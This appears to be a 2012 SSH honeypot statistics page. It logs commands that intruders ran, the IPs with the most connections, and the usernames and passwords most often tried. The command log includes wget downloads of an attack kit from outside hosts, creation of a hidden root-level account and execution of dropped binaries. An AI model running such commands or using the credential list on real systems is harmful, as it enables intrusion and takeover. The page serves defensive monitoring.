NoThInK
"memento audere semper"
Having a SSH honeypot allows the identification of statistical sources (IP address, AS) and the analysis of malicious attacks carried out either manually or automatically by bots.
If you have any doubts please consult the FAQ page or send me an email. Warning: all domains on this website should be considered dangerous. If you do not know what you are doing here, it is recommended you leave right away.
Latest commands executed | ||||
| generated 2012-02-22 23:06:02 UTC (absolute data) | ||||
| Timestamp UTC | Input | AS | AS Org | Country |
|---|---|---|---|---|
| 2012-02-09 19:22:47 | w | 8928 | INTEROUTE Interoute Commu... |  |
| 2012-02-05 07:42:04 | adduser | 8708 | RDSNET RCS & RDS S.A. |  |
| 2012-02-05 07:41:42 | /usr/sbin/useradd -o -u 0 | 8708 | RDSNET RCS & RDS S.A. | |
| 2012-02-05 07:41:28 | cat /proc/cpuinfo | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:41:21 | yum install nano | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:41:15 | pico inst | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:41:11 | nano inst | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:38:41 | cat /proc/cpuinfo | 8708 | RDSNET RCS & RDS S.A. | |
| 2012-02-05 07:38:39 | cd .x/ | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:38:31 | tar xzvf emech.tgz | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:38:23 | wget http://roothelpp.webs.com/arhive/emech.tgz | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:38:10 | wget http://geox.at.ua/x.pdf | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:37:53 | ls -a | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:37:51 | cd /var/tmp/ | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:37:51 | l s-a | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:37:46 | w | 12632 | DIGINETMOBIL Digi.Net.Mobil | |
| 2012-02-05 07:24:30 | w | 8708 | RDSNET RCS & RDS S.A. | |
| 2012-02-05 00:38:05 | ./a 88.46 | 8708 | RDSNET RCS & RDS S.A. | |
| 2012-02-05 00:37:56 | chmod +x * | 8708 | RDSNET RCS & RDS S.A. | |
| 2012-02-05 00:37:48 | cd NOU | 8708 | RDSNET RCS & RDS S.A. | |
Top 10 most connections per unique IP | ||||
| generated 2012-02-22 23:06:02 UTC (absolute data) | ||||
| # | IP Address | AS | AS Org | Country |
|---|---|---|---|---|
| 3322 | 66.151.138.181 | 12182 | INTERNAP-2BLK Internap Ne... |  |
| 2377 | 134.74.13.63 | 31822 | CITY-UNIVERSITY-OF-NEW-YO... | |
| 2219 | 118.98.221.205 | 18051 | JARDIKNAS-AS-AP Pustekkom |  |
| 1945 | 211.103.230.24 | 4808 | CHINA169-BJ CNCGROUP IP n... |  |
| 1821 | 204.3.178.182 | 2914 | NTT-COMMUNICATIONS-2914 N... | |
| 1718 | 222.88.45.158 | 4134 | CHINANET-BACKBONE No.31,J... | |
| 1687 | 201.36.112.74 | 17379 | Intelig Telecomunica Ltda |  |
| 1471 | 216.240.132.219 | 7796 | ATMLINK ATMLINK, INC. | |
| 1384 | 207.98.225.238 | 12083 | KNOLOGY-NET KNOLOGY, Inc. | |
| 1213 | 62.168.46.118 | 2819 | GTSCZ GTS NOVERA (GTS CZ) |  |
Top 10 most common username attempted | |
| generated 2012-02-22 23:06:02 UTC (absolute data) | |
| # | Username |
|---|---|
| 139535 | root |
| 2326 | test |
| 1434 | admin |
| 1318 | oracle |
| 968 | nagios |
| 782 | user |
| 765 | bin |
| 758 | guest |
| 573 | postgres |
| 418 | mysql |
Top 10 most common passwords attempted | |
| generated 2012-02-22 23:06:02 UTC (absolute data) | |
| # | Password |
|---|---|
| 4360 | 123456 |
| 1529 | password |
| 1470 | root |
| 825 | 123 |
| 788 | 12345 |
| 767 | 1234 |
| 654 | test |
| 609 | qwerty |
| 442 | abc123 |
| 427 | 1q2w3e |
